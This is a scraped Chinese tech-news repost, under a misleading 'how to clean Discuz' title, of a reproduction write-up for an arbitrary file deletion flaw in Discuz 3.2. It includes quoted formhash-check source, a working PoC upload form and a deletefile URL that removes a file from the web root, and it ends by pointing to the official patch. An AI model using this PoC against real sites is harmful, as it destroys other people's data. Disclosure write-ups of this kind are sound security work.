','poc123456789将該..."/>

tft每日頭條

 > 科技

 > discuz如何清理

discuz如何清理

科技 更新时间:2024-09-06 08:20:24

驗證用的版本:discuz3.2

0x1首先在根目錄下新建一個文件

discuz如何清理(Discuz全版本任意文件删除漏洞)1

0x2 構造poc1修改出生地區

discuz如何清理(Discuz全版本任意文件删除漏洞)2

注意其中的formhash需要替換掉,具體是在源碼中找。

為什麼這裡要替換掉formhash呢?

一開始不太清楚,網頁會報錯,

如下

discuz如何清理(Discuz全版本任意文件删除漏洞)3

看到了有一個xss驗證蠻去找一下這個文件

private function _xss_check() { static $check = array('"', '>', '<', '\'', '(', ')', 'CONTENT-TRANSFER-ENCODING'); if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash()) { system_error('request_tainting'); } if($_SERVER['REQUEST_METHOD'] == 'GET' ) { $temp = $_SERVER['REQUEST_URI']; } elseif(empty ($_GET['formhash'])) { $temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input'); } else { $temp = ''; } if(!empty($temp)) { $temp = strtoupper(urldecode(urldecode($temp))); foreach ($check as $str) { if(strpos($temp, $str) !== false) { system_error('request_tainting'); } } } return true; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

發現了如下代碼

if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash())

{

system_error('request_tainting');

}

這裡就是對formhash做判斷的地方了,當然判斷地方不止一個。這裡formhash應該是每次登陸後随機生成的,具體源碼沒有去找他,但嘗試兩次登陸後找到的formhash不一樣

0x3 構造poc2删除zsdlove.txt文件

test->poc <form action="http://localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi nce]=zsdlove" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" id="file" /> <br><br> <input type="text" name="formhash" value="3e42ef6f"/><br><br> <input type="text" name="profilesubmit" value="1"/><br><br> <input type="submit" value="Submit" /> </from> 1 2 3 4 5 6 7 8 9

将該poc保存為html文件打開

discuz如何清理(Discuz全版本任意文件删除漏洞)4

随便上傳一張圖片,注意其中的formhash也要替換

在浏覽器中訪問

discuz如何清理(Discuz全版本任意文件删除漏洞)5

localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove 1

在看看網站根目錄

discuz如何清理(Discuz全版本任意文件删除漏洞)6

文件已經被删除了

0x4 修複方案:官方已經發布補丁,請盡快修複

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关科技资讯推荐

热门科技资讯推荐

网友关注

Copyright 2023-2024 - www.tftnews.com All Rights Reserved